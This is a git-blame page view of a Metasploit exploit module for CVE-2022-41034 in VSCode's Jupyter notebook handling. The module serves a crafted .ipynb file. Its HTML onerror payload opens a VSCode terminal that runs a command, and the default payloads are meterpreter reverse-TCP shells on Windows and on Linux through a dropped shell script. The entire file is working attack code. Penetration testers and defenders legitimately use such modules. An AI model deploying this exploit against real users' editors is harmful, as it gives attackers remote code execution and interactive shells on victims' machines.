Files
metasploit-gs/modules/exploits/multi/misc/vscode_ipynb_remote_dev_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

133 lines
4.2 KiB
Ruby
Raw Normal View History

2024-03-22 16:26:03 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VSCode ipynb Remote Development RCE',
'Description' => %q{
2024-04-17 16:35:10 -04:00
VSCode when opening an Jupyter notebook (.ipynb) file bypasses the trust model.
On versions v1.4.0 - v1.71.1, its possible for the Jupyter notebook to embed
2024-03-22 16:26:03 -04:00
HTML and javascript, which can then open new terminal windows within VSCode.
Each of these new windows can then execute arbitrary code at startup.
2024-04-17 16:35:10 -04:00
During testing, the first open of the Jupyter notebook resulted in pop-ups
2024-03-22 16:26:03 -04:00
displaying errors of unable to find the payload exe file. The second attempt
2024-04-17 16:35:10 -04:00
at opening the Jupyter notebook would result in successful exeuction.
2024-03-22 16:26:03 -04:00
Successfully tested against VSCode 1.70.2 on Windows 10.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # metasploit module
'Zemnmez'
],
'References' => [
['URL', 'https://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m'],
['CVE', '2022-41034'],
['URL', 'https://github.com/andyhsu024/CVE-2022-41034']
],
2024-04-17 16:35:10 -04:00
'DisclosureDate' => '2022-11-22',
2024-03-22 16:26:03 -04:00
'Privileged' => false,
'Arch' => ARCH_CMD,
2024-04-17 16:35:10 -04:00
'Stance' => Stance::Aggressive,
2024-03-22 16:26:03 -04:00
'Payload' => { 'BadChars' => '&"' },
'Targets' => [
[
'Windows',
{
'Platform' => 'win',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
}
}
2024-05-13 10:11:56 -07:00
],
[
'Linux File-Dropper',
{
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
2024-03-22 16:26:03 -04:00
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 3_600, # 1hr
'URIPATH' => 'project.ipynb'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
# on windows it will say the final payload can't be found
# however, it is, seems to be a timing issue, 2nd exploit attempt
# works perfectly
'Reliability' => [REPEATABLE_SESSION, FIRST_ATTEMPT_FAIL],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)
2024-05-13 10:11:56 -07:00
register_options(
[
OptString.new('PAYLOAD_FILENAME', [ false, 'Name of the payload file - only required when exploiting on Linux.', 'shell.sh' ]),
OptString.new('WRITABLE_DIR', [ false, 'Name of the writable directory containing the payload file - required when exploiting on Linux .', '/tmp/' ]),
]
)
2024-03-22 16:26:03 -04:00
end
def check
CheckCode::Unsupported
end
def exploit
unless datastore['URIPATH'].end_with? '.ipynb'
fail_with(Failure::BadConfig, 'URIPATH must end in .ipynb for exploit to be successful')
end
print_status('Starting up web service...')
start_service
sleep(datastore['WFSDELAY'])
end
def on_request_uri(cli, request)
super unless request.uri.end_with? datastore['URIPATH']
if target['Platform'] == 'win'
config = { 'executable' => 'cmd.exe', 'args' => "/c #{payload.raw}" }
2024-05-13 10:11:56 -07:00
else
config = { 'executable' => "/#{datastore['WRITABLE_DIR']}/#{datastore['PAYLOAD_FILENAME']}" }
end
pload = JSON.dump({ 'config' => config })
2024-04-17 16:35:10 -04:00
pload = CGI.escape(pload).gsub('+', '%20') # XXX not sure if this is needed or not, but it works
2024-03-22 16:26:03 -04:00
ipynb = %|{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<img src=a onerror=\\"let q = document.createElement('a');q.href='command:workbench.action.terminal.new?#{pload}';document.body.appendChild(q);q.click()\\"/>"
]
}
]}|
send_response(cli, ipynb, {
'Connection' => 'close',
'Pragma' => 'no-cache',
'Access-Control-Allow-Origin' => '*'
})
print_status("Sent #{datastore['URIPATH']} to #{cli.peerhost}")
end
end